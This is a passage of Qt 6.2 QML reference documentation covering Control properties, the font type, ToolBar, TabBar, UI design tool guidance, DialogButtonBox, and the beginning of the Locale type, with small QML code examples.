 Spacing is useful for controls that have multiple or repetitive building blocks. For example, some styles use spacing to determine the distance between the text and indicator of [CheckBox](qml-qtquick-controls2-checkbox). Spacing is not enforced by Control, so each style may interpret it differently, and some may ignore it altogether.

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] topInset : [real](qml-real)

 This property holds the top inset for the background.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout) and [bottomInset](qml-qtquick-controls2-control#bottomInset-prop).

 ###  topPadding : [real](qml-real)

 This property holds the top padding. Unless explicitly set, the value is equal to `verticalPadding`.

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout), [padding](qml-qtquick-controls2-control#padding-prop), [bottomPadding](qml-qtquick-controls2-control#bottomPadding-prop), [verticalPadding](qml-qtquick-controls2-control#verticalPadding-prop), and [availableHeight](qml-qtquick-controls2-control#availableHeight-prop).

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] verticalPadding : [real](qml-real)

 This property holds the vertical padding. Unless explicitly set, the value is equal to `padding`.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [Control Layout](qml-qtquick-controls2-control#control-layout), [padding](qml-qtquick-controls2-control#padding-prop), [topPadding](qml-qtquick-controls2-control#topPadding-prop), [bottomPadding](qml-qtquick-controls2-control#bottomPadding-prop), and [horizontalPadding](qml-qtquick-controls2-control#horizontalPadding-prop).

 ###  [read-only] visualFocus : [bool](qml-bool)

 This property holds whether the control has visual focus. This property is `true` when the control has active focus and the focus reason is either `Qt.TabFocusReason`, `Qt.BacktabFocusReason`, or `Qt.ShortcutFocusReason`.

 In general, for visualizing key focus, this property is preferred over [Item::activeFocus](qml-qtquick-item#activeFocus-prop). This ensures that key focus is only visualized when interacting with keys - not when interacting via touch or mouse.

 **See also** [focusReason](qml-qtquick-controls2-control#focusReason-prop) and [Item::activeFocus](qml-qtquick-item#activeFocus-prop).

 ###  wheelEnabled : [bool](qml-bool)

 This property determines whether the control handles wheel events. The default value is `false`.

  **Note:** Care must be taken when enabling wheel events for controls within scrollable items such as [Flickable](qml-qtquick-flickable), as the control will consume the events and hence interrupt scrolling of the Flickable.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-control.html>

font QML Basic Type
===================

 The most commonly used properties are:

 * [string](qml-string) `font.family`
* [bool](qml-bool) `font.bold`
* [bool](qml-bool) `font.italic`
* [bool](qml-bool) `font.underline`
* [real](qml-real) `font.pointSize`
* [int](qml-int) `font.pixelSize`

 If both `pointSize` and a `pixelSize` are specified, `pixelSize` will be used.

 The following properties are also available:

 * [enumeration](qml-enumeration) `font.weight`
* [bool](qml-bool) `font.overline`
* [bool](qml-bool) `font.strikeout`
* [enumeration](qml-enumeration) `font.capitalization`
* [real](qml-real) `font.letterSpacing`
* [real](qml-real) `font.wordSpacing`
* [bool](qml-bool) `font.kerning`
* [bool](qml-bool) `font.preferShaping`
* [enumeration](qml-enumeration) `font.hintingPreference`
* [string](qml-string) `font.styleName`

 Example:

 
```
Text { font.family: "Helvetica"; font.pointSize: 13; font.bold: true }
```
 When integrating with C++, note that any [QFont](qfont) value [passed into QML from C++](qtqml-cppintegration-data) is automatically converted into a `font` value, and vice-versa.

 This basic type is provided by the [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html) import.

 Font weighting is classified on a scale from 0 to 99, where a weight of 0 is ultralight, and 99 is extremely black. The following values are supported:

 

|  |  |
| --- | --- |
| `Font.Thin` | 0 |
| `Font.ExtraLight` | 12 |
| `Font.Light` | 25 |
| `Font.Normal` | 50 |
| `Font.Medium` | 57 |
| `Font.DemiBold` | 63 |
| `Font.Bold` | 75 |
| `Font.ExtraBold` | 81 |
| `Font.Black` | 87 |

 Capitalization supports the following values:

 

|  |  |
| --- | --- |
| `Font.MixedCase` | No capitalization change is applied. |
| `Font.AllUppercase` | Alters the text to be rendered in all uppercase type. |
| `Font.AllLowercase` | Alters the text to be rendered in all lowercase type. |
| `Font.SmallCaps` | Alters the text to be rendered in small-caps type. |
| `Font.Capitalize` | Alters the text to be rendered with the first character of each word as an uppercase character. |

 Setting the hinting preference only has an effect when using the "NativeRendering" render type. The property supports the following values:

 Font.PreferDefaultHinting - Use the default hinting level for the target platform.

 Font.PreferNoHinting - If possible, render text without hinting the outlines of the glyphs.

 Font.PreferVerticalHinting - If possible, render text with no horizontal hinting, but align glyphs to the pixel grid in the vertical direction.

 Font.PreferFullHinting - If possible, render text with hinting in both horizontal and vertical directions.

 **See also** [QML Basic Types](qtqml-typesystem-basictypes).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-font.html>

ToolBar QML Type
================

 Container for context-sensitive controls. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Pane](qml-qtquick-controls2-pane) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-toolbar-members.html)

 Properties
----------

 * **[position](qml-qtquick-controls2-toolbar#position-prop)** : enumeration

 Detailed Description
--------------------

 ToolBar is a container of application-wide and context sensitive actions and controls, such as navigation buttons and search fields. ToolBar is commonly used as a [header](qml-qtquick-controls2-applicationwindow#header-attached-prop) or a [footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop) of an [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow).

 ToolBar does not provide a layout of its own, but requires you to position its contents, for instance by creating a [RowLayout](qml-qtquick-layouts-rowlayout). If only a single item is used within the ToolBar, it will resize to fit the implicit size of its contained item. This makes it particularly suitable for use together with layouts.

 ![]



```
ApplicationWindow {
    visible:true

    header: ToolBar {
        RowLayout {
            anchors.fill: parent
            ToolButton {
                text: qsTr("‹")
                onClicked: stack.pop()
            }
            Label {
                text: "Title"
                elide: Label.ElideRight
                horizontalAlignment: Qt.AlignHCenter
                verticalAlignment: Qt.AlignVCenter
                Layout.fillWidth: true
            }
            ToolButton {
                text: qsTr("⋮")
                onClicked: menu.open()
            }
        }
    }

    StackView {
        id: stack
        anchors.fill: parent
    }
}
```
 **See also** [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow), [ToolButton](qml-qtquick-controls2-toolbutton), [Customizing ToolBar](qtquickcontrols2-customize#customizing-toolbar), and [Container Controls](qtquickcontrols2-containers).

 Property Documentation
----------------------

 ###  position : [enumeration](qml-enumeration)

 This property holds the position of the toolbar.

  **Note:** If the toolbar is assigned as a header or footer of [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow) or [Page](qml-qtquick-controls2-page), the appropriate position is set automatically.

  Possible values:

 

| Constant | Description |
| --- | --- |
| `ToolBar.Header` | The toolbar is at the top, as a window or page header. |
| `ToolBar.Footer` | The toolbar is at the bottom, as a window or page footer. |

 The default value is style-specific.

 **See also** [ApplicationWindow::header](qml-qtquick-controls2-applicationwindow#header-attached-prop), [ApplicationWindow::footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop), [Page::header](qml-qtquick-controls2-page#header-prop), and [Page::footer](qml-qtquick-controls2-page#footer-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-toolbar.html>

TabBar QML Type
===============

 Allows the user to switch between different views or subtasks. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Container](qml-qtquick-controls2-container) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-tabbar-members.html)

 Properties
----------

 * **[contentHeight](qml-qtquick-controls2-tabbar#contentHeight-prop)** : real
* **[contentWidth](qml-qtquick-controls2-tabbar#contentWidth-prop)** : real
* **[position](qml-qtquick-controls2-tabbar#position-prop)** : enumeration

 Attached Properties
-------------------

 * **[index](qml-qtquick-controls2-tabbar#index-attached-prop)** : int
* **[position](qml-qtquick-controls2-tabbar#position-attached-prop)** : enumeration
* **[tabBar](qml-qtquick-controls2-tabbar#tabBar-attached-prop)** : TabBar

 Detailed Description
--------------------

 TabBar provides a tab-based navigation model.

 ![]


TabBar is populated with [TabButton](qml-qtquick-controls2-tabbutton) controls, and can be used together with any layout or container control that provides `currentIndex` -property, such as [StackLayout](qml-qtquick-layouts-stacklayout) or [SwipeView](qml-qtquick-controls2-swipeview)

 
```
TabBar {
    id: bar
    width: parent.width
    TabButton {
        text: qsTr("Home")
    }
    TabButton {
        text: qsTr("Discover")
    }
    TabButton {
        text: qsTr("Activity")
    }
}

StackLayout {
    width: parent.width
    currentIndex: bar.currentIndex
    Item {
        id: homeTab
    }
    Item {
        id: discoverTab
    }
    Item {
        id: activityTab
    }
}
```
 As shown above, TabBar is typically populated with a static set of tab buttons that are defined inline as children of the tab bar. It is also possible to [add](qml-qtquick-controls2-container#addItem-method), [insert](qml-qtquick-controls2-container#insertItem-method), [move](qml-qtquick-controls2-container#moveItem-method), and [remove](qml-qtquick-controls2-container#removeItem-method) items dynamically at run time. The items can be accessed using [itemAt](qml-qtquick-controls2-container#itemAt-method)() or [contentChildren](qml-qtquick-controls2-container#contentChildren-prop).

 ### Resizing Tabs

 By default, TabBar resizes its buttons to fit the width of the control. The available space is distributed equally to each button. The default resizing behavior can be overridden by setting an explicit width for the buttons.

 The following example illustrates how to keep each tab button at their implicit size instead of being resized to fit the tabbar:

 ![]



```
TabBar {
    width: parent.width
    TabButton {
        text: "First"
        width: implicitWidth
    }
    TabButton {
        text: "Second"
        width: implicitWidth
    }
    TabButton {
        text: "Third"
        width: implicitWidth
    }
}
```
 ### Flickable Tabs

 If the total width of the buttons exceeds the available width of the tab bar, it automatically becomes flickable.

 ![]



```
TabBar {
    id: bar
    width: parent.width

    Repeater {
        model: ["First", "Second", "Third", "Fourth", "Fifth"]

        TabButton {
            text: modelData
            width: Math.max(100, bar.width / 5)
        }
    }
}
```
 **See also** [TabButton](qml-qtquick-controls2-tabbutton), [Customizing TabBar](qtquickcontrols2-customize#customizing-tabbar), [Navigation Controls](qtquickcontrols2-navigation), [Container Controls](qtquickcontrols2-containers), and [Focus Management in Qt Quick Controls](qtquickcontrols2-focus).

 Property Documentation
----------------------

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] contentHeight : [real](qml-real)

 This property holds the content height. It is used for calculating the total implicit height of the tab bar.

  **Note:** This property is available in [TabBar](qml-qtquick-controls2-tabbar) since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.2 (Qt 5.9), but it was promoted to the Container base type in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.5 (Qt 5.12).

  This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [Container::contentHeight](qml-qtquick-controls2-container#contentHeight-prop).

 ###  [since QtQuick.Controls 2.2 (Qt 5.9)] contentWidth : [real](qml-real)

 This property holds the content width. It is used for calculating the total implicit width of the tab bar.

  **Note:** This property is available in [TabBar](qml-qtquick-controls2-tabbar) since [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.2 (Qt 5.9), but it was promoted to the Container base type in [QtQuick](https://doc.qt.io/qt-6.2/qtquick-module.html).Controls 2.5 (Qt 5.12).

  This property was introduced in QtQuick.Controls 2.2 (Qt 5.9).

 **See also** [Container::contentWidth](qml-qtquick-controls2-container#contentWidth-prop).

 ###  position : [enumeration](qml-enumeration)

 This property holds the position of the tab bar.

  **Note:** If the tab bar is assigned as a header or footer of [ApplicationWindow](qtquickcontrols-changes-qt6#applicationwindow) or [Page](qml-qtquick-controls2-page), the appropriate position is set automatically.

  Possible values:

 

| Constant | Description |
| --- | --- |
| `TabBar.Header` | The tab bar is at the top, as a window or page header. |
| `TabBar.Footer` | The tab bar is at the bottom, as a window or page footer. |

 The default value is style-specific.

 **See also** [ApplicationWindow::header](qml-qtquick-controls2-applicationwindow#header-attached-prop), [ApplicationWindow::footer](qml-qtquick-controls2-applicationwindow#footer-attached-prop), [Page::header](qml-qtquick-controls2-page#header-prop), and [Page::footer](qml-qtquick-controls2-page#footer-prop).

 Attached Property Documentation
-------------------------------

 ###  [read-only, since QtQuick.Controls 2.3 (Qt 5.10)] TabBar.index : [int](qml-int)

 This attached property holds the index of each tab button in the [TabBar](qml-qtquick-controls2-tabbar).

 It is attached to each tab button of the [TabBar](qml-qtquick-controls2-tabbar).

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 ###  [read-only, since QtQuick.Controls 2.3 (Qt 5.10)] TabBar.position : [enumeration](qml-enumeration)

 This attached property holds the position of the tab bar.

 It is attached to each tab button of the [TabBar](qml-qtquick-controls2-tabbar).

 Possible values:

 

| Constant | Description |
| --- | --- |
| `TabBar.Header` | The tab bar is at the top, as a window or page header. |
| `TabBar.Footer` | The tab bar is at the bottom, as a window or page footer. |

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 ###  [read-only, since QtQuick.Controls 2.3 (Qt 5.10)] TabBar.tabBar : [TabBar](qml-qtquick-controls2-tabbar)

 This attached property holds the tab bar that manages this tab button.

 It is attached to each tab button of the [TabBar](qml-qtquick-controls2-tabbar).

 This property was introduced in QtQuick.Controls 2.3 (Qt 5.10).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-tabbar.html>

Solutions for UI Design
=======================

 ![]


As a designer, technical artist, or developer who needs a UI for their application, you have some decisions to make. Take a look at the lists below to see how well they fit the requirements for your applications and which UI technology we recommend.

 

| If your applications: | If your applications: |
| * Are prototyped using short cycles.
* Run on mobile or embedded devices or MCUs.
* Work on touch screens.
* Contain animation and graphical effects.
 | * Are large standard industry type applications.
* Run on the desktop only.
* Look like native Linux, macOS, and Windows applications.
* Integrate well into the underlying platform.
 |
| We recommend using [Qt Quick](https://doc.qt.io/qt-6.2/topics-ui.html#building-uis-with-qt-quick-controls). | We recommend using [Qt Widgets](https://doc.qt.io/qt-6.2/topics-ui.html#qt-widgets-user-interfaces). |

 If you're not quite sure, see [Comparison of UI Interfaces](https://doc.qt.io/qt-6.2/topics-ui.html#comparison-of-ui-interfaces).

 * [I'll go with Qt Quick](tools-for-qt-quick-uis)
* [I'll go with Qt Widgets](tools-for-qt-widget-based-uis)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/solutions-for-ui-design.html>

Tools for Qt Quick UIs
======================

 !["Qt Design Studio"]


Qt provides a tool for designing Qt Quick UIs called [Qt Design Studio](https://doc.qt.io/qtdesignstudio/index.html). Most of the functionality of the tool is integrated into a developer tool called [Qt Creator](https://doc.qt.io/qtcreator/index.html).

 You need to separately select Qt Design Studio in the list of modules and tools presented to you by the Qt installer, whereas Qt Creator is installed by default when you install Qt. You can run both tools in parallel without one interfering with the other.

 If you only design UIs and don't need the developer tools, you can install the stand-alone Qt Design Studio package. It contains all the Qt modules and tools you need to design UIs and preview them on the desktop. The Qt Quick code is automatically generated for you, and you can deliver it to developers for implementing the application.

 * [I just want Qt Design Studio](install-qt-design-studio)
* [I want Qt and Qt Design Studio](get-and-install-qt)
* [I've already installed everything and want to start designing](create-your-first-applications)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/tools-for-qt-quick-uis.html>

Install Qt Design Studio
========================

 To begin, create a [Qt Account](https://account.qt.io/). This account gives you access to a web portal to manage your licenses and download the standalone Qt Design Studio package.

 Qt Design Studio is also available as a free community version. It does not include the Qt Bridge asset export and import tools for Photoshop, Sketch, and Figma. However, you can purchase Qt Bridge separately at [Qt Marketplace](https://marketplace.qt.io).

 The Qt Design Studio installer installs and configures all the modules and tools you need to design UIs and preview them on the desktop. After the installation, you can start exploring Qt Design Studio by opening examples, following tutorials, watching videos, and reading the [Qt Design Studio Manual](https://doc.qt.io/qtdesignstudio/index.html).

 !["Examples available in Qt Design Studio"]



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/install-qt-design-studio.html>

Tools for Qt Widget-Based UIs
=============================

 !["Qt Designer opened from Qt Creator"]


Qt provides a tool for widget-based design called [Qt Designer](qtdesigner-manual). The tool is also integrated into a developer tool called [Qt Creator](https://doc.qt.io/qtcreator/index.html). Both tools are installed by default when you install Qt.

 In addition to the design tool, you'll need several Qt modules that contain [Qt Widgets](qtwidgets-index) and the functionality needed in UIs. Most of this functionality is included in essential Qt modules that are always installed when you install Qt. Should you find out later that you need additional Qt modules, you can add them to your Qt installation using the Qt maintenance tool.

 [Show me some examples](https://doc.qt.io/qt-6.2/examples-widgets.html)

 After the installation, you can open the examples directly from Qt Creator and run them on the desktop.

 * [I want to install the necessary tools and modules](get-and-install-qt)
* [I've already installed Qt and want to start developing](create-your-first-applications)



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/tools-for-qt-widget-based-uis.html>

DialogButtonBox QML Type
========================

 A button box used in dialogs. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.8 |
|  Inherits: | [Container](qml-qtquick-controls2-container) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-dialogbuttonbox-members.html)

 Properties
----------

 * **[alignment](qml-qtquick-controls2-dialogbuttonbox#alignment-prop)** : flags
* **[buttonLayout](qml-qtquick-controls2-dialogbuttonbox#buttonLayout-prop)** : enumeration
* **[delegate](qml-qtquick-controls2-dialogbuttonbox#delegate-prop)** : Component
* **[position](qml-qtquick-controls2-dialogbuttonbox#position-prop)** : enumeration
* **[standardButtons](qml-qtquick-controls2-dialogbuttonbox#standardButtons-prop)** : enumeration

 Attached Properties
-------------------

 * **[buttonBox](qml-qtquick-controls2-dialogbuttonbox#buttonBox-attached-prop)** : DialogButtonBox
* **[buttonRole](qml-qtquick-controls2-dialogbuttonbox#buttonRole-attached-prop)** : enumeration

 Signals
-------

 * **[accepted](qml-qtquick-controls2-dialogbuttonbox#accepted-signal)**()
* **[applied](qml-qtquick-controls2-dialogbuttonbox#applied-signal)**()
* **[clicked](qml-qtquick-controls2-dialogbuttonbox#clicked-signal)**(AbstractButton *button*)
* **[discarded](qml-qtquick-controls2-dialogbuttonbox#discarded-signal)**()
* **[helpRequested](qml-qtquick-controls2-dialogbuttonbox#helpRequested-signal)**()
* **[rejected](qml-qtquick-controls2-dialogbuttonbox#rejected-signal)**()
* **[reset](qml-qtquick-controls2-dialogbuttonbox#reset-signal)**()

 Methods
-------

 * AbstractButton **[standardButton](qml-qtquick-controls2-dialogbuttonbox#standardButton-method)**(StandardButton *button*)

 Detailed Description
--------------------

 Dialogs and message boxes typically present buttons in an order that conforms to the interface guidelines for that platform. Invariably, different platforms have their dialog buttons in different orders. DialogButtonBox allows a developer to add buttons to it and will automatically use the appropriate order for the user's platform.

 Most buttons for a dialog follow certain roles. Such roles include:

 * Accepting or rejecting the dialog.
* Asking for help.
* Performing actions on the dialog itself (such as resetting fields or applying changes).

 There can also be alternate ways of dismissing the dialog which may cause destructive results.

 Most dialogs have buttons that can almost be considered standard (e.g. **OK** and **Cancel** buttons). It is sometimes convenient to create these buttons in a standard way.

 There are a couple ways of using DialogButtonBox. One way is to specify the standard buttons (e.g. **OK**, **Cancel**, **Save**) and let the button box setup the buttons.

 ![]



```
DialogButtonBox {
    standardButtons: DialogButtonBox.Ok | DialogButtonBox.Cancel

    onAccepted: console.log("Ok clicked")
    onRejected: console.log("Cancel clicked")
}
```
 Alternatively, buttons and their roles can be specified by hand:

 
```
DialogButtonBox {
    Button {
        text: qsTr("Save")
        DialogButtonBox.buttonRole: DialogButtonBox.AcceptRole
    }
    Button {
        text: qsTr("Close")
        DialogButtonBox.buttonRole: DialogButtonBox.DestructiveRole
    }
}
```
 You can also mix and match normal buttons and standard buttons.

 When a button is clicked in the button box, the [clicked](qml-qtquick-controls2-dialogbuttonbox#clicked-signal)() signal is emitted for the actual button that is pressed. In addition, the following signals are automatically emitted when a button with the respective role(s) is pressed:

 

| Role | Signal |
| --- | --- |
| `AcceptRole`, `YesRole` | [accepted](qml-qtquick-controls2-dialogbuttonbox#accepted-signal)() |
| `ApplyRole` | [applied](qml-qtquick-controls2-dialogbuttonbox#applied-signal)() |
| `DiscardRole` | [discarded](qml-qtquick-controls2-dialogbuttonbox#discarded-signal)() |
| `HelpRole` | [helpRequested](qml-qtquick-controls2-dialogbuttonbox#helpRequested-signal)() |
| `RejectRole`, `NoRole` | [rejected](qml-qtquick-controls2-dialogbuttonbox#rejected-signal)() |
| `ResetRole` | [reset](qml-qtquick-controls2-dialogbuttonbox#reset-signal)() |

 **See also** [Dialog](qtquickcontrols-changes-qt6#dialog).

 Property Documentation
----------------------

 ###  alignment : flags

 This property holds the alignment of the buttons.

 Possible values:

 

| Constant | Description |
| --- | --- |
| `undefined` | The buttons are resized to fill the available space. |
| `Qt.AlignLeft` | The buttons are aligned to the left. |
| `Qt.AlignHCenter` | The buttons are horizontally centered. |
| `Qt.AlignRight` | The buttons are aligned to the right. |
| `Qt.AlignTop` | The buttons are aligned to the top. |
| `Qt.AlignVCenter` | The buttons are vertically centered. |
| `Qt.AlignBottom` | The buttons are aligned to the bottom. |

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] buttonLayout : [enumeration](qml-enumeration)

 This property holds the button layout policy to be used when arranging the buttons contained in the button box. The default value is platform-specific.

 Available values:

 

| Constant | Description |
| --- | --- |
| `DialogButtonBox.WinLayout` | Use a policy appropriate for applications on Windows. |
| `DialogButtonBox.MacLayout` | Use a policy appropriate for applications on macOS. |
| `DialogButtonBox.KdeLayout` | Use a policy appropriate for applications on KDE. |
| `DialogButtonBox.GnomeLayout` | Use a policy appropriate for applications on GNOME. |
| `DialogButtonBox.AndroidLayout` | Use a policy appropriate for applications on Android. |

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 ###  delegate : [Component](qml-qtqml-component)

 This property holds a delegate for creating standard buttons.

 **See also** [standardButtons](qml-qtquick-controls2-dialogbuttonbox#standardButtons-prop).

 ###  position : [enumeration](qml-enumeration)

 This property holds the position of the button box.

  **Note:** If the button box is assigned as a header or footer of [ApplicationWindow](qml-qtquick-controls2-applicationwindow) or Page, the appropriate position is set automatically.

  Possible values:

 

| Constant | Description |
| --- | --- |
| `DialogButtonBox.Header` | The button box is at the top, as a window or page header. |
| `DialogButtonBox.Footer` | The button box is at the bottom, as a window or page header. |

 The default value is `Footer`.

 **See also** [Dialog::header](qml-qtquick-controls2-dialog#header-prop) and [Dialog::footer](qml-qtquick-controls2-dialog#footer-prop).

 ###  standardButtons : [enumeration](qml-enumeration)

 This property holds a combination of standard buttons that are used by the button box.

 
```
DialogButtonBox {
    standardButtons: DialogButtonBox.Ok | DialogButtonBox.Cancel

    onAccepted: console.log("Ok clicked")
    onRejected: console.log("Cancel clicked")
}
```
 The buttons will be positioned in the appropriate order for the user's platform.

 Possible flags:

 

| Constant | Description |
| --- | --- |
| `DialogButtonBox.Ok` | An "OK" button defined with the `AcceptRole`. |
| `DialogButtonBox.Open` | An "Open" button defined with the `AcceptRole`. |
| `DialogButtonBox.Save` | A "Save" button defined with the `AcceptRole`. |
| `DialogButtonBox.Cancel` | A "Cancel" button defined with the `RejectRole`. |
| `DialogButtonBox.Close` | A "Close" button defined with the `RejectRole`. |
| `DialogButtonBox.Discard` | A "Discard" or "Don't Save" button, depending on the platform, defined with the `DestructiveRole`. |
| `DialogButtonBox.Apply` | An "Apply" button defined with the `ApplyRole`. |
| `DialogButtonBox.Reset` | A "Reset" button defined with the `ResetRole`. |
| `DialogButtonBox.RestoreDefaults` | A "Restore Defaults" button defined with the `ResetRole`. |
| `DialogButtonBox.Help` | A "Help" button defined with the `HelpRole`. |
| `DialogButtonBox.SaveAll` | A "Save All" button defined with the `AcceptRole`. |
| `DialogButtonBox.Yes` | A "Yes" button defined with the `YesRole`. |
| `DialogButtonBox.YesToAll` | A "Yes to All" button defined with the `YesRole`. |
| `DialogButtonBox.No` | A "No" button defined with the `NoRole`. |
| `DialogButtonBox.NoToAll` | A "No to All" button defined with the `NoRole`. |
| `DialogButtonBox.Abort` | An "Abort" button defined with the `RejectRole`. |
| `DialogButtonBox.Retry` | A "Retry" button defined with the `AcceptRole`. |
| `DialogButtonBox.Ignore` | An "Ignore" button defined with the `AcceptRole`. |
| `DialogButtonBox.NoButton` | An invalid button. |

 **See also** [standardButton](qml-qtquick-controls2-dialogbuttonbox#standardButton-method)().

 Attached Property Documentation
-------------------------------

 ###  [read-only] DialogButtonBox.buttonBox : [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox)

 This attached property holds the button box that manages this button, or `null` if the button is not in a button box.

 ###  DialogButtonBox.buttonRole : [enumeration](qml-enumeration)

 This attached property holds the role of each button in a button box.

 
```
DialogButtonBox {
    Button {
        text: qsTr("Save")
        DialogButtonBox.buttonRole: DialogButtonBox.AcceptRole
    }
    Button {
        text: qsTr("Close")
        DialogButtonBox.buttonRole: DialogButtonBox.DestructiveRole
    }
}
```
 Available values:

 

| Constant | Description |
| --- | --- |
| `DialogButtonBox.InvalidRole` | The button is invalid. |
| `DialogButtonBox.AcceptRole` | Clicking the button causes the dialog to be accepted (e.g. **OK**). |
| `DialogButtonBox.RejectRole` | Clicking the button causes the dialog to be rejected (e.g. **Cancel**). |
| `DialogButtonBox.DestructiveRole` | Clicking the button causes a destructive change (e.g. for discarding changes) and closes the dialog. |
| `DialogButtonBox.ActionRole` | Clicking the button causes changes to the elements within the dialog. |
| `DialogButtonBox.HelpRole` | The button can be clicked to request help. |
| `DialogButtonBox.YesRole` | The button is a "Yes"-like button. |
| `DialogButtonBox.NoRole` | The button is a "No"-like button. |
| `DialogButtonBox.ResetRole` | The button resets the dialog's fields to default values. |
| `DialogButtonBox.ApplyRole` | The button applies current changes. |

 Signal Documentation
--------------------

 ###  accepted()

 This signal is emitted when a button defined with the `AcceptRole` or `YesRole` is clicked.

 **Note:** The corresponding handler is `onAccepted`.

 **See also** [rejected](qml-qtquick-controls2-dialogbuttonbox#rejected-signal)(), [clicked](qml-qtquick-controls2-dialogbuttonbox#clicked-signal)(), and [helpRequested](qml-qtquick-controls2-dialogbuttonbox#helpRequested-signal)().

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` applied()

 This signal is emitted when a button defined with the `ApplyRole` is clicked.

 **Note:** The corresponding handler is `onApplied`.

 This signal was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [discarded](qml-qtquick-controls2-dialogbuttonbox#discarded-signal)() and [reset](qml-qtquick-controls2-dialogbuttonbox#reset-signal)().

 ###  clicked([AbstractButton](qml-qtquick-controls2-abstractbutton) *button*)

 This signal is emitted when a *button* inside the button box is clicked.

 **Note:** The corresponding handler is `onClicked`.

 **See also** [accepted](qml-qtquick-controls2-dialogbuttonbox#accepted-signal)(), [rejected](qml-qtquick-controls2-dialogbuttonbox#rejected-signal)(), and [helpRequested](qml-qtquick-controls2-dialogbuttonbox#helpRequested-signal)().

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` discarded()

 This signal is emitted when a button defined with the `DiscardRole` is clicked.

 **Note:** The corresponding handler is `onDiscarded`.

 This signal was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [reset](qml-qtquick-controls2-dialogbuttonbox#reset-signal)() and [applied](qml-qtquick-controls2-dialogbuttonbox#applied-signal)().

 ###  helpRequested()

 This signal is emitted when a button defined with the `HelpRole` is clicked.

 **Note:** The corresponding handler is `onHelpRequested`.

 **See also** [accepted](qml-qtquick-controls2-dialogbuttonbox#accepted-signal)(), [rejected](qml-qtquick-controls2-dialogbuttonbox#rejected-signal)(), and [clicked](qml-qtquick-controls2-dialogbuttonbox#clicked-signal)().

 ###  rejected()

 This signal is emitted when a button defined with the `RejectRole` or `NoRole` is clicked.

 **Note:** The corresponding handler is `onRejected`.

 **See also** [accepted](qml-qtquick-controls2-dialogbuttonbox#accepted-signal)(), [helpRequested](qml-qtquick-controls2-dialogbuttonbox#helpRequested-signal)(), and [clicked](qml-qtquick-controls2-dialogbuttonbox#clicked-signal)().

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` reset()

 This signal is emitted when a button defined with the `ResetRole` is clicked.

 **Note:** The corresponding handler is `onReset`.

 This signal was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 **See also** [discarded](qml-qtquick-controls2-dialogbuttonbox#discarded-signal)() and [applied](qml-qtquick-controls2-dialogbuttonbox#applied-signal)().

 Method Documentation
--------------------

 ###  [AbstractButton](qml-qtquick-controls2-abstractbutton) standardButton(StandardButton *button*)

 Returns the specified standard *button*, or `null` if it does not exist.

 **See also** [standardButtons](qml-qtquick-controls2-dialogbuttonbox#standardButtons-prop).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-dialogbuttonbox.html>

Locale QML Type
===============

 Provides locale specific properties and formatted data. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQml |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtqml-locale-members.html)

 Properties
----------

 * **[amText](qml-qtqml-locale#amText-prop)** : string
* **[decimalPoint](qml-qtqml-locale#decimalPoint-prop)** : string
* **[exponential](qml-qtqml-locale#exponential-prop)** : string
* **[firstDayOfWeek](qml-qtqml-locale#firstDayOfWeek-prop)** : enumeration
